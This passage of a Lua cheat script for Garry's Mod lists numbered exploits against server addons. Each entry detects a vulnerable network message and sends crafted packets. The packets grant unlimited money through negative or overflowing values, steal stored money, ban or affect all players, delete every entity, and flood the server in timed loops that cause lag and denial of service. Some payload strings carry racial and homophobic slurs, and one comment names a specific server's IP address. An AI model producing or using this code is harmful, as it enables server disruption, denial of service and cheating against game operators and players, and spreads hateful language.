4953net.Start("LAWYER.BailFelonOut")
4954net.WriteString("1")
4955net.WriteString("fgt")
4956net.SendToServer()
4957end )
4958end
4959
4960status = ValidNetString("LAWYER.GetBailOut")
4961if (status) then
4962ECPrint("Found Exploit: Get Bail Out [LAWYER.GetBailOut]")
4963addExploit( "216","Get Bail Out", "", function()
4964surface.PlaySound("garrysmod/ui_click.wav")
4965ECNotify("Starting")
4966net.Start("LAWYER.GetBailOut")
4967net.WriteString("Mick")
4968net.WriteString("Mick")
4969net.WriteString("1000000")
4970net.SendToServer()
4971end )
4972end
4973
4974status = ValidNetString("GrabMoney")
4975if (status) then
4976ECPrint("Found Exploit: Get Bail Out [GrabMoney]")
4977addExploit( "217","Get Bail Out", "", function()
4978surface.PlaySound("garrysmod/ui_click.wav")
4979ECNotify("Starting")
4980for k,v in pairs(ents.GetAll()) do
4981if v:GetClass() == "gold" then
4982if v:GetClass() == "silver" then
4983if v:GetClass() == "vip" then
4984if v:GetClass() == "vipgold" then
4985net.Start("GrabMoney")
4986net.WriteEntity(LocalPlayer())
4987net.SendToServer()
4988end
4989end
4990end
4991end
4992end
4993end )
4994end
4995
4996status = ValidNetString("nox_addpremadepunishment")
4997if (status) then
4998ECPrint("Found Exploit: Nox Ban [nox_addpremadepunishment]")
4999addExploit( "218","Nox Ban", "", function()
5000surface.PlaySound("garrysmod/ui_click.wav")
5001ECNotify("Starting")
5002for k,v in pairs(player.GetAll()) do
5003if v != LocalPlayer() then
5004net.Start("nox_addpremadepunishment")
5005net.WriteEntity("Sun")
5006net.WriteUInt(2, 8)
5007net.SendToServer()
5008end
5009end
5010end )
5011end
5012
5013status = ValidNetString("NET_CR_TakeStoredMoney")
5014if (status) then
5015ECPrint("Found Exploit: Steal Registry Money [NET_CR_TakeStoredMoney]")
5016addExploit( "219","Steal Registry Money", "", function()
5017surface.PlaySound("garrysmod/ui_click.wav")
5018ECNotify("Starting")
5019for k,v in pairs(ents.GetAll()) do
5020if v:GetClass() == "ss_cash_registry" then
5021net.Start('NET_CR_TakeStoredMoney')
5022net.WriteEntity("ss_cash_registry")
5023net.WriteEntity(LocalPlayer())
5024net.SendToServer()
5025end
5026end
5027end )
5028end
5029
5030status = ValidNetString("HV_AmmoBuy")
5031if (status) then
5032ECPrint("Found Exploit: HV Free Ammo [HV_AmmoBuy]")
5033addExploit( "220","HV Free Ammo", "", function()
5034surface.PlaySound("garrysmod/ui_click.wav")
5035ECNotify("Starting")
5036net.Start("HV_AmmoBuy")
5037net.WriteFloat("2")
5038net.SendToServer()
5039net.Start("HV_AmmoBuy")
5040net.WriteFloat("1")
5041net.SendToServer()
5042end )
5043end
5044
5045status = ValidNetString("hitcomplete")
5046if (status) then
5047ECPrint("Found Exploit: Super RP Hit [hitcomplete]")
5048addExploit( "221","Super RP Hit", "", function()
5049surface.PlaySound("garrysmod/ui_click.wav")
5050ECNotify("Starting")
5051for k,v in pairs(player.GetAll()) do
5052if v != LocalPlayer() then
5053net.Start("hitcomplete")
5054net.WriteEntity(v)
5055net.SendToServer()
5056end
5057end
5058end )
5059end
5060
5061status = ValidNetString("SyncRemoveAction")
5062if (status) then
5063ECPrint("Found Exploit: Remove All [SyncRemoveAction]")
5064addExploit( "222","Remove All", "", function()
5065surface.PlaySound("garrysmod/ui_click.wav")
5066ECNotify("Starting")
5067for k,v in pairs(ents.GetAll()) do
5068net.Start("SyncRemoveAction")
5069net.WriteEntity(v)
5070net.SendToServer()
5071end
5072end )
5073end
5074
5075status = ValidNetString("TMC_NET_MakePlayerWanted")
5076if (status) then
5077ECPrint("Found Exploit: Make All Wanted [TMC_NET_MakePlayerWanted]")
5078addExploit( "223","Make All Wanted", "", function()
5079surface.PlaySound("garrysmod/ui_click.wav")
5080ECNotify("Starting")
5081for k,v in pairs(player.GetAll()) do
5082net.Start("TMC_NET_MakePlayerWanted")
5083net.WriteString("bad")
5084net.WriteString("bad")
5085net.SendToServer()
5086end
5087end )
5088end
5089
5090status = ValidNetString("thiefnpc")
5091if (status) then
5092ECPrint("Found Exploit: Thief NPC [thiefnpc]")
5093addExploit( "224","Thief NPC", "", function()
5094surface.PlaySound("garrysmod/ui_click.wav")
5095ECNotify("Starting")
5096net.Start('thiefnpc')
5097net.WriteDouble(-99999999999999999)
5098net.SendToServer()
5099end )
5100end
5101
5102status = ValidNetString("TMC_NET_FirePlayer")
5103if (status) then
5104ECPrint("Found Exploit: Fire Player [TMC_NET_FirePlayer]")
5105addExploit( "225","Fire Player", "", function()
5106surface.PlaySound("garrysmod/ui_click.wav")
5107ECNotify("Starting")
5108net.Start("TMC_NET_FirePlayer")
5109net.WriteString("Paypal")
5110net.SendToServer()
5111end )
5112end
5113
5114status = ValidNetString("updateLaws")
5115if (status) then
5116ECPrint("Found Exploit: Update Laws [updateLaws]")
5117addExploit( "226","Update Laws", "", function()
5118surface.PlaySound("garrysmod/ui_click.wav")
5119ECNotify("Starting")
5120net.Start("updateLaws")
5121net.WriteString("Bitch")
5122net.SendToServer()
5123end )
5124end
5125
5126status = ValidNetString("LotteryMenu")
5127if (status) then
5128ECPrint("Found Exploit: Free Money #25 [LotteryMenu]")
5129addExploit( "227","Free Money #25", "", function()
5130surface.PlaySound("garrysmod/ui_click.wav")
5131ECNotify("Starting")
5132net.Start("LotteryMenu")
5133net.WriteEntity(LocalPlayer())
5134net.WriteInt(1000000000000000000, 16)
5135net.SendToServer()
5136end )
5137end
5138
5139status = ValidNetString("soundArrestCommit")
5140if (status) then
5141ECPrint("Found Exploit: Sound Arrest [soundArrestCommit]")
5142addExploit( "228","Sound Arrest", "", function()
5143surface.PlaySound("garrysmod/ui_click.wav")
5144ECNotify("Starting")
5145net.Start("soundArrestCommit")
5146net.WriteString("Shit")
5147net.SendToServer()
5148end )
5149end
5150
5151status = ValidNetString("hoverboardpurchase")
5152if (status) then
5153ECPrint("Found Exploit: Hover Board [hoverboardpurchase]")
5154addExploit( "229","Hover Board", "", function()
5155surface.PlaySound("garrysmod/ui_click.wav")
5156ECNotify("Starting")
5157net.Start("hoverboardpurchase")
5158net.WriteInt(8, 32)
5159net.SendToServer()
5160end )
5161end
5162
5163status = ValidNetString("SpawnProtection")
5164if (status) then
5165ECPrint("Found Exploit: Off Spawn Protection [SpawnProtection]")
5166addExploit( "230","Off Spawn Protection", "", function()
5167surface.PlaySound("garrysmod/ui_click.wav")
5168ECNotify("Starting")
5169net.Start("SpawnProtection")
5170net.WriteFloat(0)
5171net.SendToServer()
5172end )
5173end
5174
5175status = ValidNetString("NPCShop_BuyItem")
5176if (status) then
5177ECPrint("Found Exploit: NPC Shop [NPCShop_BuyItem]")
5178addExploit( "231","NPC Shop", "", function()
5179surface.PlaySound("garrysmod/ui_click.wav")
5180ECNotify("Starting")
5181net.Start("NPCShop_BuyItem")
5182net.WriteString("weapon_hack_phone")
5183net.SendToServer()
5184end )
5185end
5186
5187status = ValidNetString("CubeRiot CaptureZone Update")
5188if (status) then
5189ECPrint("Found Exploit: CubeRiot Exploit [CubeRiot CaptureZone Update]")
5190addExploit( "232","CubeRiot Exploit", "", function()
5191surface.PlaySound("garrysmod/ui_click.wav")
5192ECNotify("Starting")
5193net.Start("CubeRiot CaptureZone Update")
5194net.WriteUInt( 1, 8 )
5195net.WriteVector( "2654.989258 2254.119629 -139.968750" )
5196net.WriteVector( "2654.989258 2254.119629 -139.968750" )
5197net.SendToServer()
5198end )
5199end
5200
5201status = ValidNetString("deposit")
5202if (status) then
5203ECPrint("Found Exploit: Free Money #26 [deposit]")
5204addExploit( "233","Free Money #26", "", function()
5205surface.PlaySound("garrysmod/ui_click.wav")
5206ECNotify("Starting")
5207net.Start("deposit")
5208net.WriteString("-10000000000000000000000")
5209net.SendToServer()
5210end )
5211end
5212
5213status = ValidNetString("AcceptRequest")
5214if (status) then
5215ECPrint("Found Exploit: Call Exploit [AcceptRequest]")
5216addExploit( "234","Call Exploit", "", function()
5217surface.PlaySound("garrysmod/ui_click.wav")
5218ECNotify("Starting")
5219for k,v in pairs(player.GetAll()) do
5220net.Start("AcceptRequest")
5221net.WriteEntity(v)
5222net.SendToServer()
5223end
5224end )
5225end
5226
5227status = ValidNetString("Chess ClientWager")
5228if (status) then
5229ECPrint("Found Exploit: Chess Exploit [Chess ClientWager | Chess ClientResign]")
5230addExploit( "235","Chess Exploit", "", function()
5231surface.PlaySound("garrysmod/ui_click.wav")
5232ECNotify("Starting")
5233net.Start("Chess ClientWager")
5234net.WriteUInt( -999999999999999999999999999, 24 )
5235net.SendToServer()
5236net.Start("Chess ClientResign")
5237net.SendToServer()
5238end )
5239end
5240
5241status = ValidNetString("netOrgVoteInvite_Server")
5242if (status) then
5243ECPrint("Found Exploit: Org Invite All [netOrgVoteInvite_Server]")
5244addExploit( "236","Org Invite All", "", function()
5245surface.PlaySound("garrysmod/ui_click.wav")
5246ECNotify("Starting")
5247for k,v in pairs(player.GetAll()) do
5248net.Start("netOrgVoteInvite_Server")
5249net.WriteEntity(v)
5250net.SendToServer()
5251end
5252end )
5253end
5254
5255
5256status = ValidNetString("donatorshop_itemtobuy")
5257if (status) then
5258ECPrint("Found Exploit: Donator Box Exploit [donatorshop_itemtobuy]")
5259addExploit( "237","Donator Box Exploit", "", function()
5260surface.PlaySound("garrysmod/ui_click.wav")
5261ECNotify("Starting")
5262net.Start("donatorshop_itemtobuy")
5263net.WriteString("DonatorShopBuyTripwire")
5264net.SendToServer()
5265end )
5266end
5267
5268status = ValidNetString("AskPickupItemInv")
5269if (status) then
5270ECPrint("Found Exploit: Ask Item [AskPickupItemInv]")
5271addExploit( "238","Ask Item", "", function()
5272surface.PlaySound("garrysmod/ui_click.wav")
5273ECNotify("Starting")
5274for k,v in pairs(player.GetAll()) do
5275net.Start("AskPickupItemInv")
5276net.WriteUInt(4,16)
5277net.WriteUInt(1,16)
5278net.SendToServer()
5279end
5280end )
5281end
5282
5283status = ValidNetString("buy_bundle")
5284if (status) then
5285ECPrint("Found Exploit: Buy Bundle [buy_bundle]")
5286addExploit( "239","Buy Bundle", "", function()
5287surface.PlaySound("garrysmod/ui_click.wav")
5288ECNotify("Starting")
5289net.Start("buy_bundle")
5290net.WriteFloat(1, 16)
5291net.SendToServer()
5292end )
5293end
5294
5295status = ValidNetString("LawyerOfferBail")
5296if (status) then
5297ECPrint("Found Exploit: Lawyer Off Bail [LawyerOfferBail | AcceptBailOffer]")
5298addExploit( "240","Lawyer Off Bail", "", function()
5299surface.PlaySound("garrysmod/ui_click.wav")
5300ECNotify("Starting")
5301for k,v in pairs(player.GetAll()) do
5302net.Start("LawyerOfferBail")
5303net.WriteEntity(v)
5304net.WriteUInt(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
5305net.SendToServer()
5306net.Start("AcceptBailOffer")
5307net.WriteEntity(v)
5308net.WriteUInt(-10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
5309net.SendToServer()
5310end
5311end )
5312end
5313
5314status = ValidNetString("MineServer")
5315if (status) then
5316ECPrint("Found Exploit: Lagger #22 [MineServer]")
5317addExploit( "241","Lagger #22", "lags", function()
5318surface.PlaySound("garrysmod/ui_click.wav")
5319ECNotify("Starting")
5320for i = 0, 100 do
5321for k,v in pairs(player.GetAll()) do
5322net.Start("MineServer",true)
5323net.WriteString("sell")
5324net.WriteEntity(v)
5325net.WriteString("Fuck you. Gonna ddos this shitty ass server niggers")
5326net.SendToServer()
5327end
5328end
5329end )
5330end
5331
5332status = ValidNetString("Gb_gasstation_BuyGas")
5333if (status) then
5334ECPrint("Found Exploit: Ukrainian gas [Gb_gasstation_BuyGas | Gb_gasstation_BuyJerrycan]")
5335addExploit( "242","Ukrainian gas", "", function()
5336surface.PlaySound("garrysmod/ui_click.wav")
5337ECNotify("Starting")
5338net.Start("Gb_gasstation_BuyGas")
5339net.SendToServer()
5340net.Start("Gb_gasstation_BuyJerrycan")
5341net.SendToServer()
5342end )
5343end
5344
5345status = ValidNetString("D3A_CreateOrg")
5346if (status) then
5347ECPrint("Found Exploit: D3A Create Org [D3A_CreateOrg]")
5348addExploit( "243","D3A Create Org", "", function()
5349surface.PlaySound("garrysmod/ui_click.wav")
5350ECNotify("Starting")
5351net.Start("D3A_CreateOrg")
5352net.WriteString('969690485273489312467812367128312312314')
5353net.WriteString('123712983712984571298712398')
5354net.WriteString("255 255 255")
5355net.SendToServer()
5356end )
5357end
5358
5359status = ValidNetString("Shop_buy")
5360if (status) then
5361ECPrint("Found Exploit: SUP Buy Armor [Shop_buy]")
5362addExploit( "244","SUP Buy Armor", "", function()
5363surface.PlaySound("garrysmod/ui_click.wav")
5364ECNotify("Starting")
5365net.Start("Shop_buy")
5366net.WriteString("Armor")
5367net.SendToServer()
5368end )
5369end
5370
5371status = ValidNetString("LawsToServer")
5372if (status) then
5373ECPrint("Found Exploit: SUP New Laws [LawsToServer]")
5374addExploit( "245","SUP New Laws", "", function()
5375surface.PlaySound("garrysmod/ui_click.wav")
5376ECNotify("Starting")
5377net.Start("LawsToServer")
5378net.WriteString("FAGGOTS")
5379net.SendToServer()
5380end )
5381end
5382
5383status = ValidNetString("D3A_Message")
5384if (status) then
5385ECPrint("Found Exploit: D3A Message [D3A_Message]")
5386addExploit( "246","D3A Message", "", function()
5387surface.PlaySound("garrysmod/ui_click.wav")
5388ECNotify("Starting")
5389local stuff = {
5390
5391}
5392net.Start("D3A_Message")
5393net.WriteString("FAGGOTS")
5394net.WriteTable(stuff)
5395net.SendToServer()
5396end )
5397end
5398
5399status = ValidNetString("misswd_accept")
5400if (status) then
5401ECPrint("Found Exploit: Misswd Accept [misswd_accept]")
5402addExploit( "247","Misswd Accept", "", function()
5403surface.PlaySound("garrysmod/ui_click.wav")
5404ECNotify("Starting")
5405for k,v in pairs(player.GetAll()) do
5406for i = 0, 100 do
5407net.Start("misswd_accept")
5408net.WriteEntity(v)
5409net.SendToServer()
5410end
5411end
5412end )
5413end
5414
5415status = ValidNetString("ScannerMenu")
5416if (status) then
5417ECPrint("Found Exploit: Scanner Exploit [ScannerMenu]")
5418addExploit( "248","Scanner Exploit", "", function()
5419surface.PlaySound("garrysmod/ui_click.wav")
5420ECNotify("Starting")
5421for k,v in pairs(player.GetAll()) do
5422net.Start("ScannerMenu")
5423net.WriteEntity(v)
5424net.WriteFloat(1)
5425net.WriteFloat(1)
5426net.SendToServer()
5427end
5428end )
5429end
5430
5431status = ValidNetString("ORG_NewOrg")
5432if (status) then
5433ECPrint("Found Exploit: New ORG [ORG_NewOrg]")
5434addExploit( "249","New ORG", "", function()
5435surface.PlaySound("garrysmod/ui_click.wav")
5436ECNotify("Starting")
5437net.Start("ORG_NewOrg")
5438net.WriteString("I FUCKING HATE YOU!")
5439net.SendToServer()
5440end )
5441end
5442
5443status = ValidNetString("ORG_VaultDonate")
5444if (status) then
5445ECPrint("Found Exploit: Free Money #27 [ORG_VaultDonate]")
5446addExploit( "250","Free Money #27", "", function()
5447surface.PlaySound("garrysmod/ui_click.wav")
5448ECNotify("Starting")
5449net.Start("ORG_VaultDonate")
5450net.WriteFloat(-1000000000000000000000000000000000000000000000000000000)
5451net.SendToServer()
5452end )
5453end
5454
5455status = ValidNetString("Selldatride")
5456if (status) then
5457ECPrint("Found Exploit: Sell Datride [Selldatride]")
5458addExploit( "251","Sell Datride", "", function()
5459surface.PlaySound("garrysmod/ui_click.wav")
5460ECNotify("Starting")
5461for k,v in pairs(player.GetAll()) do
5462net.Start("Selldatride")
5463net.WriteEntity(v)
5464net.SendToServer()
5465end
5466end )
5467end
5468
5469status = ValidNetString("passmayorexam")
5470if (status) then
5471ECPrint("Found Exploit: Passexam Exploit [passmayorexam]")
5472addExploit( "252","Passexam Exploit", "", function()
5473surface.PlaySound("garrysmod/ui_click.wav")
5474ECNotify("Starting")
5475net.Start("passmayorexam")
5476net.SendToServer()
5477end )
5478end
5479
5480status = ValidNetString("levelup_useperk")
5481if (status) then
5482ECPrint("Found Exploit: LevelUp Exploit [levelup_useperk]")
5483addExploit( "253","LevelUp Exploit", "", function()
5484surface.PlaySound("garrysmod/ui_click.wav")
5485ECNotify("Starting")
5486net.Start("levelup_useperk")
5487net.WriteInt(1, 8)
5488net.WriteInt(2, 8)
5489net.WriteInt(3, 8)
5490net.WriteInt(4, 8)
5491net.SendToServer()
5492end )
5493end
5494
5495status = ValidNetString("ZED_SpawnCar")
5496if (status) then
5497ECPrint("Found Exploit: ZED Spawn Car [ZED_SpawnCar]")
5498addExploit( "254","ZED Spawn Car", "", function()
5499surface.PlaySound("garrysmod/ui_click.wav")
5500ECNotify("Starting")
5501net.Start("ZED_SpawnCar")
5502net.WriteFloat(1)
5503net.SendToServer()
5504end )
5505end
5506
5507status = ValidNetString("DeployMask") -- 37.230.228.248:27016
5508if (status) then
5509ECPrint("Found Exploit: To wear a gas mask at all players [DeployMask]")
5510addExploit( "255","To wear a gas mask", "Exploit puts gas masks on all players, discovered by Leith", function()
5511surface.PlaySound("garrysmod/ui_click.wav")
5512ECNotify("Starting")
5513for k,v in pairs(ents.GetAll()) do
5514net.Start("DeployMask")
5515net.WriteEntity(v)
5516net.SendToServer()
5517end
5518end )
5519end
5520
5521status = ValidNetString("RemoveMask") -- 37.230.228.248:27016
5522if (status) then
5523ECPrint("Found Exploit: Remove the gas mask from all players [RemoveMask]")
5524addExploit( "256","Remove the gas mask", "The exploit takes off gas masks from all players, discovered by Leith", function()
5525surface.PlaySound("garrysmod/ui_click.wav")
5526ECNotify("Starting")
5527for k,v in pairs(ents.GetAll()) do
5528net.Start("RemoveMask")
5529net.WriteEntity(v)
5530net.SendToServer()
5531end
5532end )
5533end
5534
5535status = ValidNetString("SwapFilter") -- 37.230.228.248:27016
5536if (status) then
5537ECPrint("Found Exploit: Change all filters of a gas mask [SwapFilter]")
5538addExploit( "257","Change all filters", "Exploit changes the filter for all gas masks, discovered by Leith", function()
5539surface.PlaySound("garrysmod/ui_click.wav")
5540ECNotify("Starting")
5541for k,v in pairs(ents.GetAll()) do
5542net.Start("SwapFilter")
5543net.WriteEntity(v)
5544net.SendToServer()
5545end
5546end )
5547end
5548
5549status = ValidNetString("WipeMask") -- 37.230.228.248:27016
5550if (status) then
5551ECPrint("Found Exploit: Wipe gas masks [WipeMask]")
5552addExploit( "258","Wipe gas masks", "Exploit wipes all gas masks, discovered by Leith", function()
5553surface.PlaySound("garrysmod/ui_click.wav")
5554ECNotify("Starting")
5555for k,v in pairs(ents.GetAll()) do
5556net.Start("WipeMask")
5557net.WriteEntity(v)
5558net.SendToServer()
5559end
5560end )
5561end
5562
5563status = ValidNetString("UseMedkit") -- 37.230.228.248:27016
5564if (status) then
5565ECPrint("Found Exploit: Use Medkit [UseMedkit]")
5566addExploit( "259","Use Medkit", "Exploit uses a first aid kit on all players, discovered by Leith", function()
5567surface.PlaySound("garrysmod/ui_click.wav")
5568ECNotify("Starting")
5569for k,v in pairs(ents.GetAll()) do
5570net.Start("UseMedkit")
5571net.WriteEntity(v)
5572net.SendToServer()
5573end
5574end )
5575end
5576
5577status = ValidNetString("IDInv_RequestBank")
5578if (status) then
5579ECPrint("Found Exploit: Lagger #23 [IDInv_RequestBank]")
5580addExploit( "260","Lagger #23", "an exploit in the addon 'IDinventory', discovered by Leith", function()
5581surface.PlaySound("garrysmod/ui_click.wav")
5582ECNotify("Starting")
5583if !timer.Exists("lagger23") then
5584timer.Create("lagger23", 0, 0, function()
5585for i = 1, 1000 do
5586net.Start("IDInv_RequestBank",true)
5587net.SendToServer()
5588end
5589end )
5590end
5591end )
5592end
5593
5594status = ValidNetString("casinokit_chipexchange")
5595if (status) then
5596ECPrint("Found Exploit: Lagger #24 [casinokit_chipexchange]")
5597addExploit( "261","Lagger #24", "an exploit in the addon 'CasinoKit', discovered by Leith", function()
5598surface.PlaySound("garrysmod/ui_click.wav")
5599ECNotify("Starting")
5600if !timer.Exists("lagger24") then
5601timer.Create("lagger24", 0, 0, function()
5602for i = 1, 1000 do
5603net.Start("casinokit_chipexchange",true)
5604net.WriteEntity(LocalPlayer())
5605net.WriteString("darkrp")
5606net.WriteBool(false)
5607net.WriteUInt(9999999999999999999999999999999999999999999999999999999999,32)
5608net.SendToServer()
5609end
5610end )
5611end
5612end )
5613end
5614
5615status = ValidNetString("RemoveTag")
5616if (status) then
5617ECPrint("Found Exploit: 1tap server [RemoveTag]")
5618addExploit( "262","1tap server", "discovered by Leith", function()
5619surface.PlaySound("garrysmod/ui_click.wav")
5620ECNotify("Starting")
5621timer.Create("1tap", 0.5, 0, function()
5622for i=1, 4000 do
5623net.Start("RemoveTag")
5624net.WriteFloat(9999999999999999999999999999999999999999999999999999999999)
5625net.SendToServer()
5626end
5627end )
5628end )
5629end
5630
5631status = ValidNetString("desktopPrinter_Withdraw")
5632if (status) then
5633ECPrint("Found Exploit: Lagger #25 [desktopPrinter_Withdraw]")
5634addExploit( "263","Lagger #25", "an exploit in the addon 'Desktop Printers', discovered by Leith", function()
5635surface.PlaySound("garrysmod/ui_click.wav")
5636ECNotify("Starting")
5637if !timer.Exists("lagger25") then
5638timer.Create("lagger25", 0, 0, function()
5639for i = 1, 1000 do
5640net.Start("desktopPrinter_Withdraw",true)
5641net.WriteEntity(LocalPlayer())
5642net.SendToServer()
5643end
5644end )
5645end
5646end )
5647end
5648
5649status = ValidNetString("sphys_dupe")
5650if (status) then
5651ECPrint("Found Exploit: Lagger #26 [sphys_dupe]")
5652addExploit( "264","Lagger #26", "an exploit in the addon 'Simfphys', discovered by Solly", function()
5653surface.PlaySound("garrysmod/ui_click.wav")
5654ECNotify("Starting")
5655timer.Create("lagger26", 0.2, 0, function()
5656for i=1,2200 do
5657net.Start("sphys_dupe",true)
5658net.SendToServer()
5659end
5660end )
5661end )
5662end
5663
5664status = ValidNetString("simfphys_gasspill")
5665if (status) then
5666ECPrint("Found Exploit: Poop on players [simfphys_gasspill]")
5667addExploit( "265","Poop on players", "an exploit in the addon 'Simfphys', discovered by Solly", function()
5668surface.PlaySound("garrysmod/ui_click.wav")
5669ECNotify("Starting")
5670timer.Create("poop", 0.1, 0, function()
5671for k,v in pairs(player.GetAll()) do
5672for j=1,3 do
5673if IsValid(v) then
5674net.Start("simfphys_gasspill")
5675net.WriteVector(v:GetPos()+Vector(0,0,90))
5676net.WriteVector(v:EyePos())
5677net.SendToServer()
5678end
5679end
5680end
5681end )
5682end )
5683end
5684
5685status = ValidNetString("dronesrewrite_controldr")
5686if (status) then
5687ECPrint("Found Exploit: Lagger #27 [dronesrewrite_controldr]")
5688addExploit( "266","Lagger #27", "discovered by Solly", function()
5689surface.PlaySound("garrysmod/ui_click.wav")
5690ECNotify("Starting")
5691timer.Create("lagger27", 0.2, 0, function()
5692for i=1,2200 do
5693net.Start("dronesrewrite_controldr",true)
5694net.SendToServer()
5695end
5696end )
5697end )
5698end
5699
5700
5701status = ValidNetString("SCP-294Sv")
5702if (status) then
5703ECPrint("Found Exploit: SCP-294 Exploit [SCP-294Sv]")
5704addExploit( "267","SCP-294 Exploit", "discovered by questionmark", function()
5705surface.PlaySound("garrysmod/ui_click.wav")
5706ECNotify("Starting")
5707for k,v in pairs(ents.GetAll()) do
5708net.Start("SCP-294Sv")
5709net.WriteString("acid")
5710net.WriteEntity(v)
5711net.SendToServer()
5712end
5713end )
5714end
5715
5716status = ValidNetString("VC_PlayerReady")
5717if (status) then
5718ECPrint("Found Exploit: Lagger #28 [VC_PlayerReady]")
5719addExploit( "268","Lagger #28", "an exploit in the addon 'VCMod', discovered by Leith", function()
5720surface.PlaySound("garrysmod/ui_click.wav")
5721ECNotify("Starting")
5722timer.Create("lagger28", 0, 0, function()
5723for i = 1, 1000 do
5724net.Start("VC_PlayerReady",true)
5725net.SendToServer()
5726end
5727end )
5728end )
5729end
5730
5731status = ValidNetString("phone")
5732if (status) then
5733ECPrint("Found Exploit: Call all players [phone]")
5734addExploit( "269","Call all players", "discovered by questionmark", function()
5735surface.PlaySound("garrysmod/ui_click.wav")
5736ECNotify("Starting")
5737for k, v in pairs(player.GetAll()) do
5738net.Start("phone")
5739net.WriteTable{
5740ply=v,
5741act='call'
5742}
5743net.SendToServer()
5744end
5745end )
5746end
5747
5748status = ValidNetString("blueatm")
5749if (status) then
5750ECPrint("Found Exploit: Lagger #29 [blueatm]")
5751addExploit( "270","Lagger #29", "an exploit in the addon 'Blue ATM', discovered by Leith", function()
5752surface.PlaySound("garrysmod/ui_click.wav")
5753ECNotify("Starting")
5754timer.Create("lagger29", 0, 0, function()
5755for i = 1, 1000 do
5756net.Start("blueatm",true)
5757net.WriteEntity(LocalPlayer())
5758net.SendToServer()
5759end
5760end )
5761end )
5762end
5763
5764status = ValidNetString("cab_cd_testdrive")
5765if (status) then
5766ECPrint("Found Exploit: Stavox Teleport [cab_cd_testdrive]")
5767addExploit( "271","Stavox Teleport", "discovered by Aromatic", function()
5768surface.PlaySound("garrysmod/ui_click.wav")
5769ECNotify("Starting")
5770net.Start('cab_cd_testdrive')
5771net.WriteUInt(0, 3)
5772net.WriteUInt(5, 8)
5773net.SendToServer()
5774end )
5775end
5776
5777status = ValidNetString("cab_sendmessage")
5778if (status) then
5779ECPrint("Found Exploit: Stavox Message [cab_sendmessage]")
5780addExploit( "272","Stavox Message", "discovered by Aromatic", function()
5781surface.PlaySound("garrysmod/ui_click.wav")
5782ECNotify("Starting")
5783for k, v in pairs(player.GetAll()) do
5784net.Start("cab_sendmessage")
5785net.WriteEntity(v)
5786net.WriteString("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
5787net.SendToServer()
5788end
5789end )
5790end
5791
5792status = ValidNetString("disguise")
5793if (status) then
5794ECPrint("Found Exploit: Lagger #30 [disguise]")
5795addExploit( "273","Lagger #30", "discovered by Aromatic & Leith", function()
5796surface.PlaySound("garrysmod/ui_click.wav")
5797timer.Create("lagger30", 0, 0, function()
5798for i = 1, 1000 do
5799net.Start("disguise",true)
5800net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 32)
5801net.SendToServer()
5802end
5803end )
5804end )
5805end
5806
5807status = ValidNetString("FARMINGMOD_DROPITEM")
5808if (status) then
5809ECPrint("Found Exploit: Lagger #31 [FARMINGMOD_DROPITEM]")
5810addExploit( "274","Lagger #31", "discovered by Leith", function()
5811surface.PlaySound("garrysmod/ui_click.wav")
5812timer.Create("lagger31", 0, 0, function()
5813for i = 1, 1000 do
5814net.Start("FARMINGMOD_DROPITEM",true)
5815net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 16)
5816net.SendToServer()
5817end
5818end )
5819end )
5820end
5821
5822status = ValidNetString("SlotsRemoved")
5823if (status) then
5824ECPrint("Found Exploit: Lagger #32 [SlotsRemoved]")
5825addExploit( "275","Lagger #32", "an exploit in the addon 'PointShop 2 Perma Weapons', discovered by Leith", function()
5826surface.PlaySound("garrysmod/ui_click.wav")
5827timer.Create("lagger32", 0, 0, function()
5828for i = 1, 1000 do
5829net.Start("SlotsRemoved",true)
5830net.SendToServer()
5831end
5832end )
5833end )
5834end
5835
5836status = ValidNetString("AirDrops_StartPlacement")
5837if (status) then
5838ECPrint("Found Exploit: Lagger #33 [AirDrops_StartPlacement]")
5839addExploit( "276","Lagger #33", "an exploit in the addon 'PointShop 2 AirDrops', discovered by Dembi", function()
5840surface.PlaySound("garrysmod/ui_click.wav")
5841timer.Create("lagger33", 0, 0, function()
5842for i = 1, 1000 do
5843net.Start("AirDrops_StartPlacement",true)
5844net.SendToServer()
5845end
5846end )
5847end )
5848end
5849
5850status = ValidNetString("pp_info_send")
5851if (status) then
5852ECPrint("Found Exploit: Lagger #34 [pp_info_send]")
5853addExploit( "277","Lagger #34", "an exploit in the addon 'Perma Props',discovered by Leith", function()
5854surface.PlaySound("garrysmod/ui_click.wav")
5855timer.Create("lagger33", 0, 0, function()
5856for i = 1, 1000 do
5857net.Start("pp_info_send",true)
5858net.SendToServer()
5859end
5860end )
5861end )
5862end
5863
5864status = ValidNetString("IGS.GetPaymentURL")
5865if (status) then
5866ECPrint("Found Exploit: Lagger #35 [IGS.GetPaymentURL]")
5867addExploit( "278","Lagger #35", "an exploit in the 'IGS', discovered by Leith", function()
5868surface.PlaySound("garrysmod/ui_click.wav")
5869timer.Create("lagger35", 0, 0, function()
5870for i = 1, 1000 do
5871net.Start("IGS.GetPaymentURL",true)
5872net.WriteDouble(9999999999999999999999999999999999999999999999999999999999)
5873net.SendToServer()
5874end
5875end )
5876end )
5877end
5878
5879status = ValidNetString("fg_printer_money")
5880if (status) then
5881ECPrint("Found Exploit: Lagger #36 [fg_printer_money]")
5882addExploit( "279","Lagger #36", "an exploit in the 'FG Printers', discovered by Aromatic", function()
5883surface.PlaySound("garrysmod/ui_click.wav")
